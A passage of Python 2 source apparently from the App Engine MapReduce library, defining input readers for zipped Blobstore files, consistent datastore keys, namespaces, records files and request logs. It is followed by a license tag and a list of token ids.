shard_start_indexes = [0] current_shard_size = 0 for i, fileinfo in enumerate(files): current_shard_size += fileinfo.file_size if current_shard_size >= size_per_shard: shard_start_indexes.append(i + 1) current_shard_size = 0 if shard_start_indexes[-1] != len(files): shard_start_indexes.append(len(files)) return [cls(blob_key, start_index, end_index, _reader) for start_index, end_index in zip(shard_start_indexes, shard_start_indexes[1:])] class BlobstoreZipLineInputReader(InputReader): """Input reader for newline delimited files in zip archives from Blobstore. This has the same external interface as the BlobstoreLineInputReader, in that it takes a list of blobs as its input and yields lines to the reader. However the blobs themselves are expected to be zip archives of line delimited files instead of the files themselves. This is useful as many line delimited files gain greatly from compression. """ # Maximum number of shards to allow. _MAX_SHARD_COUNT = 256 # Maximum number of blobs to allow. _MAX_BLOB_KEYS_COUNT = 246 # Mapreduce parameters. BLOB_KEYS_PARAM = "blob_keys" # Serialization parameters. BLOB_KEY_PARAM = "blob_key" START_FILE_INDEX_PARAM = "start_file_index" END_FILE_INDEX_PARAM = "end_file_index" OFFSET_PARAM = "offset" def __init__(self, blob_key, start_file_index, end_file_index, offset, _reader=blobstore.BlobReader): """Initializes this instance with the given blob key and file range. This BlobstoreZipLineInputReader will read from the file with index start_file_index up to but not including the file with index end_file_index. It will return lines starting at offset within file[start_file_index] Args: blob_key: the BlobKey that this input reader is processing. start_file_index: the index of the first file to read within the zip. end_file_index: the index of the first file that will not be read. offset: the byte offset within blob_key.zip[start_file_index] to start reading. The reader will continue to the end of the file. _reader: a callable that returns a file-like object for reading blobs. Used for dependency injection. """ self._blob_key = blob_key self._start_file_index = start_file_index self._end_file_index = end_file_index self._initial_offset = offset self._reader = _reader self._zip = None self._entries = None self._filestream = None @classmethod def validate(cls, mapper_spec): """Validates mapper spec and all mapper parameters. Args: mapper_spec: The MapperSpec for this InputReader. Raises: BadReaderParamsError: required parameters are missing or invalid. """ if mapper_spec.input_reader_class() != cls: raise BadReaderParamsError("Mapper input reader class mismatch") params = _get_params(mapper_spec) if cls.BLOB_KEYS_PARAM not in params: raise BadReaderParamsError("Must specify 'blob_keys' for mapper input") blob_keys = params[cls.BLOB_KEYS_PARAM] if isinstance(blob_keys, basestring): # This is a mechanism to allow multiple blob keys (which do not contain # commas) in a single string. It may go away. blob_keys = blob_keys.split(",") if len(blob_keys) > cls._MAX_BLOB_KEYS_COUNT: raise BadReaderParamsError("Too many 'blob_keys' for mapper input") if not blob_keys: raise BadReaderParamsError("No 'blob_keys' specified for mapper input") for blob_key in blob_keys: blob_info = blobstore.BlobInfo.get(blobstore.BlobKey(blob_key)) if not blob_info: raise BadReaderParamsError("Could not find blobinfo for key %s" % blob_key) @classmethod def split_input(cls, mapper_spec, _reader=blobstore.BlobReader): """Returns a list of input readers for the input spec. Args: mapper_spec: The MapperSpec for this InputReader. Must contain 'blob_keys' parameter with one or more blob keys. _reader: a callable that returns a file-like object for reading blobs. Used for dependency injection. Returns: A list of InputReaders spanning the subfiles within the blobs. There will be at least one reader per blob, but it will otherwise attempt to keep the expanded size even. """ params = _get_params(mapper_spec) blob_keys = params[cls.BLOB_KEYS_PARAM] if isinstance(blob_keys, basestring): # This is a mechanism to allow multiple blob keys (which do not contain # commas) in a single string. It may go away. blob_keys = blob_keys.split(",") blob_files = {} total_size = 0 for blob_key in blob_keys: zip_input = zipfile.ZipFile(_reader(blob_key)) blob_files[blob_key] = zip_input.infolist() total_size += sum(x.file_size for x in blob_files[blob_key]) shard_count = min(cls._MAX_SHARD_COUNT, mapper_spec.shard_count) # We can break on both blob key and file-within-zip boundaries. # A shard will span at minimum a single blob key, but may only # handle a few files within a blob. size_per_shard = total_size // shard_count readers = [] for blob_key in blob_keys: files = blob_files[blob_key] current_shard_size = 0 start_file_index = 0 next_file_index = 0 for fileinfo in files: next_file_index += 1 current_shard_size += fileinfo.file_size if current_shard_size >= size_per_shard: readers.append(cls(blob_key, start_file_index, next_file_index, 0, _reader)) current_shard_size = 0 start_file_index = next_file_index if current_shard_size != 0: readers.append(cls(blob_key, start_file_index, next_file_index, 0, _reader)) return readers def next(self): """Returns the next line from this input reader as (lineinfo, line) tuple. Returns: The next input from this input reader, in the form of a 2-tuple. The first element of the tuple describes the source, it is itself a tuple (blobkey, filenumber, byteoffset). The second element of the tuple is the line found at that offset. """ if not self._filestream: if not self._zip: self._zip = zipfile.ZipFile(self._reader(self._blob_key)) # Get a list of entries, reversed so we can pop entries off in order self._entries = self._zip.infolist()[self._start_file_index: self._end_file_index] self._entries.reverse() if not self._entries: raise StopIteration() entry = self._entries.pop() value = self._zip.read(entry.filename) self._filestream = StringIO.StringIO(value) if self._initial_offset: self._filestream.seek(self._initial_offset) self._filestream.readline() start_position = self._filestream.tell() line = self._filestream.readline() if not line: # Done with this file in the zip. Move on to the next file. self._filestream.close() self._filestream = None self._start_file_index += 1 self._initial_offset = 0 return self.next() return ((self._blob_key, self._start_file_index, start_position), line.rstrip("\n")) def _next_offset(self): """Return the offset of the next line to read.""" if self._filestream: offset = self._filestream.tell() if offset: offset -= 1 else: offset = self._initial_offset return offset def to_json(self): """Returns an input shard state for the remaining inputs. Returns: A json-izable version of the remaining InputReader. """ return {self.BLOB_KEY_PARAM: self._blob_key, self.START_FILE_INDEX_PARAM: self._start_file_index, self.END_FILE_INDEX_PARAM: self._end_file_index, self.OFFSET_PARAM: self._next_offset()} @classmethod def from_json(cls, json, _reader=blobstore.BlobReader): """Creates an instance of the InputReader for the given input shard state. Args: json: The InputReader state as a dict-like object. _reader: For dependency injection. Returns: An instance of the InputReader configured using the values of json. """ return cls(json[cls.BLOB_KEY_PARAM], json[cls.START_FILE_INDEX_PARAM], json[cls.END_FILE_INDEX_PARAM], json[cls.OFFSET_PARAM], _reader) def __str__(self): """Returns the string representation of this reader. Returns: string blobkey:[start file num, end file num]:current offset. """ return "blobstore.BlobKey(%r):[%d, %d]:%d" % ( self._blob_key, self._start_file_index, self._end_file_index, self._next_offset()) class ConsistentKeyReader(DatastoreKeyInputReader): """A key reader which reads consistent data from datastore. Datastore might have entities which were written, but not visible through queries for some time. Typically these entities can be only read inside transaction until they are 'applied'. This reader reads all keys even if they are not visible. It might take significant time to start yielding some data because it has to apply all modifications created before its start. """ START_TIME_US_PARAM = "start_time_us" UNAPPLIED_LOG_FILTER = "__unapplied_log_timestamp_us__ <" DUMMY_KIND = "DUMMY_KIND" DUMMY_ID = 106275677020293L UNAPPLIED_QUERY_DEADLINE = 270 # Max supported by datastore. def _get_unapplied_jobs_accross_namespaces(self, namespace_start, namespace_end, app): filters = {"__key__ >=": db.Key.from_path("__namespace__", namespace_start or 1, _app=app), "__key__ <=": db.Key.from_path("__namespace__", namespace_end or 1, _app=app), self.UNAPPLIED_LOG_FILTER: self.start_time_us} unapplied_query = datastore.Query(filters=filters, keys_only=True, _app=app) return unapplied_query.Get( limit=self._batch_size, config=datastore_rpc.Configuration( deadline=self.UNAPPLIED_QUERY_DEADLINE)) def _iter_ns_range(self): while True: unapplied_jobs = self._get_unapplied_jobs_accross_namespaces( self._ns_range.namespace_start, self._ns_range.namespace_end, self._ns_range.app) if not unapplied_jobs: break self._apply_jobs(unapplied_jobs) for o in super(ConsistentKeyReader, self)._iter_ns_range(): yield o def _iter_key_range(self, k_range): assert hasattr(self, "start_time_us"), "start_time_us property was not set" if self._ns_range is None: # _iter_ns_range will have already have dealt with unapplied jobs so only # handle the case where it would not have been called. self._apply_key_range(k_range) for o in super(ConsistentKeyReader, self)._iter_key_range(k_range): yield o def _apply_key_range(self, k_range): """Apply all jobs in the given KeyRange.""" # The strategy used here will not work if the entire key range cannot be # applied before the task times-out because the results of incremental work # are not checkpointed. It also assumes that the entire key range can be # queried without timing-out, which may not be the case. # See b/5201059. apply_range = copy.deepcopy(k_range) while True: # Creates an unapplied query and fetches unapplied jobs in the result # range. self.split() ensures that the generated KeyRanges cover the # entire possible key range. unapplied_query = self._make_unapplied_query(apply_range) unapplied_jobs = unapplied_query.Get( limit=self._batch_size, config=datastore_rpc.Configuration( deadline=self.UNAPPLIED_QUERY_DEADLINE)) if not unapplied_jobs: break self._apply_jobs(unapplied_jobs) # Avoid requerying parts of the key range that have already been # applied. apply_range.advance(unapplied_jobs[-1]) def _make_unapplied_query(self, k_range): """Returns a datastore.Query that finds the unapplied keys in k_range.""" unapplied_query = k_range.make_ascending_datastore_query( kind=None, keys_only=True) unapplied_query[ ConsistentKeyReader.UNAPPLIED_LOG_FILTER] = self.start_time_us return unapplied_query def _apply_jobs(self, unapplied_jobs): """Apply all jobs implied by the given keys.""" # There were some unapplied jobs. Roll them forward. keys_to_apply = [] for key in unapplied_jobs: # To apply the entity group we need to read something from it. # We use dummy kind and id because we don't actually need any data. path = key.to_path() + [ConsistentKeyReader.DUMMY_KIND, ConsistentKeyReader.DUMMY_ID] keys_to_apply.append( db.Key.from_path(_app=key.app(), namespace=key.namespace(), *path)) db.get(keys_to_apply, config=datastore_rpc.Configuration( deadline=self.UNAPPLIED_QUERY_DEADLINE, read_policy=datastore_rpc.Configuration.APPLY_ALL_JOBS_CONSISTENCY)) @classmethod def _split_input_from_namespace(cls, app, namespace, entity_kind_name, shard_count): key_ranges = super(ConsistentKeyReader, cls)._split_input_from_namespace( app, namespace, entity_kind_name, shard_count) assert len(key_ranges) == shard_count # The KeyRanges calculated by the base class may not include keys for # entities that have unapplied jobs. So use an open key range for the first # and last KeyRanges to ensure that they will be processed. try: last_key_range_index = key_ranges.index(None) - 1 except ValueError: last_key_range_index = shard_count - 1 if last_key_range_index != -1: key_ranges[0].key_start = None key_ranges[0].include_start = False key_ranges[last_key_range_index].key_end = None key_ranges[last_key_range_index].include_end = False return key_ranges @classmethod def _split_input_from_params(cls, app, namespaces, entity_kind_name, params, shard_count): readers = super(ConsistentKeyReader, cls)._split_input_from_params( app, namespaces, entity_kind_name, params, shard_count) # We always produce at least one namespace range because: # a) there might be unapplied entities # b) it simplifies mapper code if not readers: readers = [cls(entity_kind_name, key_ranges=None, ns_range=namespace_range.NamespaceRange(), batch_size=shard_count)] return readers @classmethod def split_input(cls, mapper_spec): """Splits input into key ranges.""" readers = super(ConsistentKeyReader, cls).split_input(mapper_spec) start_time_us = _get_params(mapper_spec).get( cls.START_TIME_US_PARAM, long(time.time() * 1e6)) for reader in readers: reader.start_time_us = start_time_us return readers def to_json(self): """Serializes all the data in this reader into json form. Returns: all the data in json-compatible map. """ json_dict = super(DatastoreKeyInputReader, self).to_json() json_dict[self.START_TIME_US_PARAM] = self.start_time_us return json_dict @classmethod def from_json(cls, json): """Create new ConsistentKeyReader from the json, encoded by to_json. Args: json: json map representation of ConsistentKeyReader. Returns: an instance of ConsistentKeyReader with all data deserialized from json. """ reader = super(ConsistentKeyReader, cls).from_json(json) reader.start_time_us = json[cls.START_TIME_US_PARAM] return reader # TODO(user): This reader always produces only one shard, because # namespace entities use the mix of ids/names, and KeyRange-based splitting # doesn't work satisfactory in this case. # It's possible to implement specific splitting functionality for the reader # instead of reusing generic one. Meanwhile 1 shard is enough for our # applications. class NamespaceInputReader(InputReader): """An input reader to iterate over namespaces. This reader yields namespace names as string. It will always produce only one shard. """ NAMESPACE_RANGE_PARAM = "namespace_range" BATCH_SIZE_PARAM = "batch_size" _BATCH_SIZE = 10 def __init__(self, ns_range, batch_size = _BATCH_SIZE): self.ns_range = ns_range self._batch_size = batch_size def to_json(self): """Serializes all the data in this query range into json form. Returns: all the data in json-compatible map. """ return {self.NAMESPACE_RANGE_PARAM: self.ns_range.to_json_object(), self.BATCH_SIZE_PARAM: self._batch_size} @classmethod def from_json(cls, json): """Create new DatastoreInputReader from the json, encoded by to_json. Args: json: json map representation of DatastoreInputReader. Returns: an instance of DatastoreInputReader with all data deserialized from json. """ return cls( namespace_range.NamespaceRange.from_json_object( json[cls.NAMESPACE_RANGE_PARAM]), json[cls.BATCH_SIZE_PARAM]) @classmethod def validate(cls, mapper_spec): """Validates mapper spec. Args: mapper_spec: The MapperSpec for this InputReader. Raises: BadReaderParamsError: required parameters are missing or invalid. """ if mapper_spec.input_reader_class() != cls: raise BadReaderParamsError("Input reader class mismatch") params = _get_params(mapper_spec) if cls.BATCH_SIZE_PARAM in params: try: batch_size = int(params[cls.BATCH_SIZE_PARAM]) if batch_size < 1: raise BadReaderParamsError("Bad batch size: %s" % batch_size) except ValueError, e: raise BadReaderParamsError("Bad batch size: %s" % e) @classmethod def split_input(cls, mapper_spec): """Returns a list of input readers for the input spec. Args: mapper_spec: The MapperSpec for this InputReader. Returns: A list of InputReaders. """ batch_size = int(_get_params(mapper_spec).get( cls.BATCH_SIZE_PARAM, cls._BATCH_SIZE)) shard_count = mapper_spec.shard_count namespace_ranges = namespace_range.NamespaceRange.split(shard_count, contiguous=True) return [NamespaceInputReader(ns_range, batch_size) for ns_range in namespace_ranges] def __iter__(self): while True: keys = self.ns_range.make_datastore_query().Get(limit=self._batch_size) if not keys: break for key in keys: namespace = metadata.Namespace.key_to_namespace(key) self.ns_range = self.ns_range.with_start_after(namespace) yield namespace def __str__(self): return repr(self.ns_range) class RecordsReader(InputReader): """Reader to read a list of Files API file in records format. The number of input shards can be specified by the SHARDS_PARAM mapper parameter. Input files cannot be split, so there will be at most one shard per file. Also the number of shards will not be reduced based on the number of input files, so shards in always equals shards out. """ FILE_PARAM = "file" FILES_PARAM = "files" def __init__(self, filenames, position): """Constructor. Args: filenames: list of filenames. position: file position to start reading from as int. """ self._filenames = filenames if self._filenames: self._reader = records.RecordsReader( files.BufferedFile(self._filenames[0])) self._reader.seek(position) else: self._reader = None def __iter__(self): """Iterate over records in file. Yields records as strings. """ ctx = context.get() while self._reader: try: start_time = time.time() record = self._reader.read() if ctx: operation.counters.Increment( COUNTER_IO_READ_MSEC, int((time.time() - start_time) * 1000))(ctx) operation.counters.Increment(COUNTER_IO_READ_BYTES, len(record))(ctx) yield record except EOFError: self._filenames.pop(0) if not self._filenames: self._reader = None else: self._reader = records.RecordsReader( files.BufferedFile(self._filenames[0])) @classmethod def from_json(cls, json): """Creates an instance of the InputReader for the given input shard state. Args: json: The InputReader state as a dict-like object. Returns: An instance of the InputReader configured using the values of json. """ return cls(json["filenames"], json["position"]) def to_json(self): """Returns an input shard state for the remaining inputs. Returns: A json-izable version of the remaining InputReader. """ result = { "filenames": self._filenames, "position": 0, } if self._reader: result["position"] = self._reader.tell() return result @classmethod def split_input(cls, mapper_spec): """Returns a list of input readers for the input spec. Args: mapper_spec: The MapperSpec for this InputReader. Returns: A list of InputReaders. """ params = _get_params(mapper_spec) shard_count = mapper_spec.shard_count if cls.FILES_PARAM in params: filenames = params[cls.FILES_PARAM] if isinstance(filenames, basestring): filenames = filenames.split(",") else: filenames = [params[cls.FILE_PARAM]] batch_list = [[] for _ in xrange(shard_count)] for index, filename in enumerate(filenames): # Simplest round robin so we don't have any short shards. batch_list[index % shard_count].append(filenames[index]) # Sort from most shards to least shards so the short shard is last. batch_list.sort(reverse=True, key=lambda x: len(x)) return [cls(batch, 0) for batch in batch_list] @classmethod def validate(cls, mapper_spec): """Validates mapper spec and all mapper parameters. Args: mapper_spec: The MapperSpec for this InputReader. Raises: BadReaderParamsError: required parameters are missing or invalid. """ if mapper_spec.input_reader_class() != cls: raise errors.BadReaderParamsError("Input reader class mismatch") params = _get_params(mapper_spec) if (cls.FILES_PARAM not in params and cls.FILE_PARAM not in params): raise BadReaderParamsError( "Must specify '%s' or '%s' parameter for mapper input" % (cls.FILES_PARAM, cls.FILE_PARAM)) def __str__(self): position = 0 if self._reader: position = self._reader.tell() return "%s:%s" % (self._filenames, position) class LogInputReader(InputReader): """Input reader for a time range of logs via the Logs Reader API. The number of input shards may be specified by the SHARDS_PARAM mapper parameter. A starting and ending time (in seconds since the Unix epoch) are required to generate time ranges over which to shard the input. """ # Parameters directly mapping to those available via logservice.fetch(). START_TIME_PARAM = "start_time" END_TIME_PARAM = "end_time" MINIMUM_LOG_LEVEL_PARAM = "minimum_log_level" INCLUDE_INCOMPLETE_PARAM = "include_incomplete" INCLUDE_APP_LOGS_PARAM = "include_app_logs" VERSION_IDS_PARAM = "version_ids" # Semi-hidden parameters used only internally or for privileged applications. _OFFSET_PARAM = "offset" _PROTOTYPE_REQUEST_PARAM = "prototype_request" _PARAMS = frozenset([START_TIME_PARAM, END_TIME_PARAM, _OFFSET_PARAM, MINIMUM_LOG_LEVEL_PARAM, INCLUDE_INCOMPLETE_PARAM, INCLUDE_APP_LOGS_PARAM, VERSION_IDS_PARAM, _PROTOTYPE_REQUEST_PARAM]) _KWARGS = frozenset([_OFFSET_PARAM, _PROTOTYPE_REQUEST_PARAM]) def __init__(self, start_time=None, end_time=None, minimum_log_level=None, include_incomplete=False, include_app_logs=False, version_ids=None, **kwargs): """Constructor. Args: start_time: The earliest request completion or last-update time of logs that should be mapped over, in seconds since the Unix epoch. end_time: The latest request completion or last-update time that logs should be mapped over, in seconds since the Unix epoch. minimum_log_level: An application log level which serves as a filter on the requests mapped over--requests with no application log at or above the specified level will be omitted, even if include_app_logs is False. include_incomplete: Whether or not to include requests that have started but not yet finished, as a boolean. Defaults to False. include_app_logs: Whether or not to include application level logs in the mapped logs, as a boolean. Defaults to False. version_ids: A list of version ids whose logs should be mapped against. """ InputReader.__init__(self) # The rule for __params is that its contents will always be suitable as # input to logservice.fetch(). self.__params = dict(kwargs) if start_time is not None: self.__params[self.START_TIME_PARAM] = start_time if end_time is not None: self.__params[self.END_TIME_PARAM] = end_time if minimum_log_level is not None: self.__params[self.MINIMUM_LOG_LEVEL_PARAM] = minimum_log_level if include_incomplete is not None: self.__params[self.INCLUDE_INCOMPLETE_PARAM] = include_incomplete if include_app_logs is not None: self.__params[self.INCLUDE_APP_LOGS_PARAM] = include_app_logs if version_ids: self.__params[self.VERSION_IDS_PARAM] = version_ids # Any submitted prototype_request will be in encoded form. if self._PROTOTYPE_REQUEST_PARAM in self.__params: prototype_request = log_service_pb.LogReadRequest( self.__params[self._PROTOTYPE_REQUEST_PARAM]) self.__params[self._PROTOTYPE_REQUEST_PARAM] = prototype_request def __iter__(self): """Iterates over logs in a given range of time. Yields: A RequestLog containing all the information for a single request. """ for log in logservice.fetch(**self.__params): self.__params[self._OFFSET_PARAM] = log.offset yield log @classmethod def from_json(cls, json): """Creates an instance of the InputReader for the given input shard's state. Args: json: The InputReader state as a dict-like object. Returns: An instance of the InputReader configured using the given JSON parameters. """ # Strip out unrecognized parameters, as introduced by b/5960884. params = dict((str(k), v) for k, v in json.iteritems() if k in cls._PARAMS) # This is not symmetric with to_json() wrt. PROTOTYPE_REQUEST_PARAM because # the constructor parameters need to be JSON-encodable, so the decoding # needs to happen there anyways. if cls._OFFSET_PARAM in params: params[cls._OFFSET_PARAM] = base64.b64decode(params[cls._OFFSET_PARAM]) return cls(**params) def to_json(self): """Returns an input shard state for the remaining inputs. Returns: A JSON serializable version of the remaining input to read. """ params = dict(self.__params) # Shallow copy. if self._PROTOTYPE_REQUEST_PARAM in params: prototype_request = params[self._PROTOTYPE_REQUEST_PARAM] params[self._PROTOTYPE_REQUEST_PARAM] = prototype_request.Encode() if self._OFFSET_PARAM in params: params[self._OFFSET_PARAM] = base64.b64encode(params[self._OFFSET_PARAM]) return params @classmethod def split_input(cls, mapper_spec): """Returns a list of input readers for the given input specification. Args: mapper_spec: The MapperSpec for this InputReader. Returns: A list of InputReaders. """ params = _get_params(mapper_spec) shard_count = mapper_spec.shard_count # Pick out the overall start and end times and time step per shard. start_time = params[cls.START_TIME_PARAM] end_time = params[cls.END_TIME_PARAM] seconds_per_shard = (end_time - start_time) / shard_count # Create a LogInputReader for each shard, modulating the params as we go. shards = [] for _ in xrange(shard_count - 1): params[cls.END_TIME_PARAM] = (params[cls.START_TIME_PARAM] + seconds_per_shard) shards.append(LogInputReader(**params)) params[cls.START_TIME_PARAM] = params[cls.END_TIME_PARAM] # Create a final shard to complete the time range. params[cls.END_TIME_PARAM] = end_time return shards + [LogInputReader(**params)] @classmethod def validate(cls, mapper_spec): """Validates the mapper's specification and all necessary parameters. Args: mapper_spec: The MapperSpec to be used with this InputReader. Raises: BadReaderParamsError: If the user fails to specify both a starting time and an ending time, or if the starting time is later than the ending time. """ if mapper_spec.input_reader_class() != cls: raise errors.BadReaderParamsError("Input reader class mismatch") params = _get_params(mapper_spec, allowed_keys=cls._PARAMS) if cls.VERSION_IDS_PARAM not in params: raise errors.BadReaderParamsError("Must specify a list of version ids " "for mapper input") if (cls.START_TIME_PARAM not in params or params[cls.START_TIME_PARAM] is None): raise errors.BadReaderParamsError("Must specify a starting time for " "mapper input") if cls.END_TIME_PARAM not in params or params[cls.END_TIME_PARAM] is None: params[cls.END_TIME_PARAM] = time.time() if params[cls.START_TIME_PARAM] >= params[cls.END_TIME_PARAM]: raise errors.BadReaderParamsError("The starting time cannot be later " "than or the same as the ending time.") if cls._PROTOTYPE_REQUEST_PARAM in params: try: params[cls._PROTOTYPE_REQUEST_PARAM] = log_service_pb.LogReadRequest( params[cls._PROTOTYPE_REQUEST_PARAM]) except (TypeError, ProtocolBuffer.ProtocolBufferDecodeError): raise errors.BadReaderParamsError("The prototype request must be " "parseable as a LogReadRequest.") # Pass the parameters to logservice.fetch() to verify any underlying # constraints on types or values. This only constructs an iterator, it # doesn't trigger any requests for actual log records. try: logservice.fetch(**params) except logservice.InvalidArgumentError, e: raise errors.BadReaderParamsError("One or more parameters are not valid " "inputs to logservice.fetch(): %s" % e) def __str__(self): """Returns the string representation of this LogInputReader.""" params = [] for key, value in self.__params.iteritems(): if key is self._PROTOTYPE_REQUEST_PARAM: params.append("%s='%s'" % (key, value)) elif key is self._OFFSET_PARAM: params.append("%s='%s'" % (key, value)) else: params.append("%s=%s" % (key, value)) return "LogInputReader(%s)" % ", ".join(params)
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 7129, 4475, 3277, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 624, 23891, 1324, 7002, 83, 367, 9672, 21822, 1041, 4388, 199, 363, 452, 363, 275, 359, 272, 298, 8458, 30444, 3205, 5929, 401, 272, 298, 12231, 63, 8936, 7217, 401, 272, 298, 5725, 5929, 6007, 547, 401, 272, 298, 16799, 1617, 3049, 3205, 5929, 401, 272, 298, 16799, 1617, 8674, 3205, 5929, 401, 272, 298, 16799, 1617, 8674, 3049, 3205, 5929, 401, 272, 298, 23049, 63, 2090, 63, 5670, 63, 20352, 401, 272, 298, 23049, 63, 2090, 63, 5670, 63, 45, 15048, 401, 272, 298, 714, 6082, 1197, 5929, 401, 272, 298, 30444, 7302, 3205, 5929, 401, 272, 298, 30444, 3205, 5929, 401, 272, 298, 30444, 1197, 3205, 5929, 401, 272, 298, 547, 401, 272, 298, 3205, 5929, 401, 272, 298, 2445, 3205, 5929, 401, 272, 298, 8814, 3205, 5929, 401, 272, 298, 14941, 5929, 401, 272, 1622, 199, 199, 3, 4287, 26, 3507, 13, 1328, 29, 35, 772, 1643, 199, 199, 646, 1300, 772, 199, 646, 1331, 199, 646, 2050, 199, 646, 5228, 199, 646, 900, 199, 646, 10392, 199, 199, 504, 6233, 14, 846, 14, 2625, 492, 11557, 3299, 199, 504, 6233, 14, 15358, 14, 1246, 492, 12007, 199, 504, 2341, 5270, 14, 773, 492, 1584, 199, 504, 6233, 14, 15358, 14, 1246, 492, 943, 1364, 199, 504, 2341, 5270, 14, 773, 14, 1725, 492, 5767, 199, 504, 6233, 14, 15358, 14, 1246, 14, 793, 1364, 492, 943, 63, 1364, 63, 3317, 199, 504, 6233, 14, 15358, 14, 11450, 492, 12007, 63, 1131, 199, 504, 6233, 14, 15358, 14, 11450, 492, 12007, 63, 4354, 199, 504, 6233, 14, 15358, 14, 832, 492, 9182, 1617, 199, 504, 6233, 14, 15358, 14, 832, 492, 1592, 199, 504, 2341, 5270, 14, 773, 492, 790, 63, 1842, 199, 504, 6233, 14, 15358, 14, 832, 14, 697, 492, 3341, 199, 504, 2341, 5270, 492, 1067, 199, 504, 2341, 5270, 492, 2552, 199, 504, 2341, 5270, 492, 1402, 199, 504, 2341, 5270, 492, 3231, 63, 1842, 199, 504, 2341, 5270, 492, 3439, 199, 504, 2341, 5270, 492, 4884, 421, 199, 3, 27939, 12155, 370, 2552, 859, 14, 29622, 5299, 2348, 367, 7163, 14, 199, 547, 275, 2552, 14, 547, 199, 5725, 5929, 6007, 547, 275, 2552, 14, 5725, 5929, 6007, 547, 421, 199, 3, 14427, 536, 367, 1329, 402, 2783, 1586, 14, 199, 23049, 63, 2090, 63, 5670, 63, 20352, 275, 298, 2308, 13, 739, 13, 2394, 2, 199, 199, 3, 14427, 536, 367, 21131, 2249, 484, 7664, 666, 14, 199, 23049, 63, 2090, 63, 5670, 63, 45, 15048, 275, 298, 2308, 13, 739, 13, 19764, 2, 199, 199, 3, 12568, 574, 626, 883, 506, 28653, 701, 6924, 5929, 83, 340, 2985, 2934, 370, 8120, 314, 199, 3, 10059, 376, 30914, 370, 3354, 314, 1174, 402, 314, 2341, 5270, 1928, 9445, 199, 3, 370, 1995, 376, 3503, 574, 370, 314, 3016, 14, 199, 12231, 63, 8936, 7217, 275, 909, 342, 421, 199, 533, 6924, 5929, 8, 1238, 14, 9653, 4256, 304, 523, 408, 8458, 1300, 1021, 367, 1324, 7002, 83, 14, 819, 6924, 5929, 83, 1172, 314, 2569, 4382, 26, 2043, 627, 9322, 787, 2737, 701, 1808, 314, 3715, 63, 1210, 1083, 370, 3550, 282, 663, 402, 1362, 6924, 5929, 83, 687, 282, 9672, 529, 5307, 14, 2043, 627, 9322, 3550, 4153, 370, 314, 7796, 4799, 314, 6122, 3217, 14, 2043, 627, 12836, 7143, 12, 2985, 883, 506, 6380, 436, 14604, 68, 1808, 314, 14587, 4256, 1362, 3217, 14, 2043, 627, 9322, 787, 9106, 370, 1059, 367, 282, 922, 13, 11875, 1369, 27, 652, 1443, 506, 1362, 1139, 85, 461, 370, 5669, 636, 495, 4343, 523, 408, 819, 327, 3979, 6544, 63, 3214, 365, 756, 12, 2066, 574, 28653, 701, 7002, 365, 3032, 523, 327, 370, 3016, 465, 365, 14, 982, 652, 1159, 2549, 12, 2066, 627, 585, 365, 3032, 12, 6544, 316, 2368, 523, 327, 436, 4691, 1337, 3016, 506, 282, 3510, 13, 5329, 805, 14, 523, 6544, 63, 3214, 275, 756, 819, 327, 9672, 5270, 2633, 14, 523, 485, 7121, 63, 7258, 275, 2668, 571, 2, 523, 26149, 9136, 63, 7258, 275, 298, 3251, 2, 523, 26149, 7613, 21287, 63, 7258, 275, 298, 9247, 2, 221, 327, 17985, 15445, 14, 819, 347, 636, 1661, 721, 277, 304, 272, 372, 291, 819, 347, 2163, 8, 277, 304, 272, 408, 3407, 314, 2163, 1324, 687, 642, 1324, 7002, 465, 282, 790, 12, 574, 4092, 14, 339, 1803, 26, 489, 710, 2163, 1324, 687, 642, 1324, 7002, 14, 272, 408, 272, 746, 4279, 480, 2184, 342, 440, 6366, 315, 450, 83, 2, 450, 291, 855, 533, 3368, 819, 768, 3744, 523, 347, 687, 63, 1001, 8, 1886, 12, 1324, 63, 10810, 63, 929, 304, 272, 408, 10607, 376, 1256, 402, 314, 6924, 5929, 367, 314, 1627, 1324, 11814, 1174, 14, 339, 3033, 26, 489, 1324, 63, 10810, 63, 929, 26, 710, 6924, 5929, 1174, 465, 282, 1211, 13, 2930, 909, 14, 339, 1803, 26, 489, 1626, 1256, 402, 314, 6924, 5929, 7526, 1808, 314, 1338, 402, 2022, 14, 272, 408, 272, 746, 4279, 480, 504, 63, 1001, 342, 440, 6366, 315, 450, 83, 2, 450, 843, 9, 819, 347, 370, 63, 1001, 8, 277, 304, 272, 408, 3407, 376, 1324, 11814, 1174, 367, 314, 7971, 4153, 14, 339, 1803, 26, 489, 437, 2022, 13, 14065, 1015, 402, 314, 7971, 6924 ]
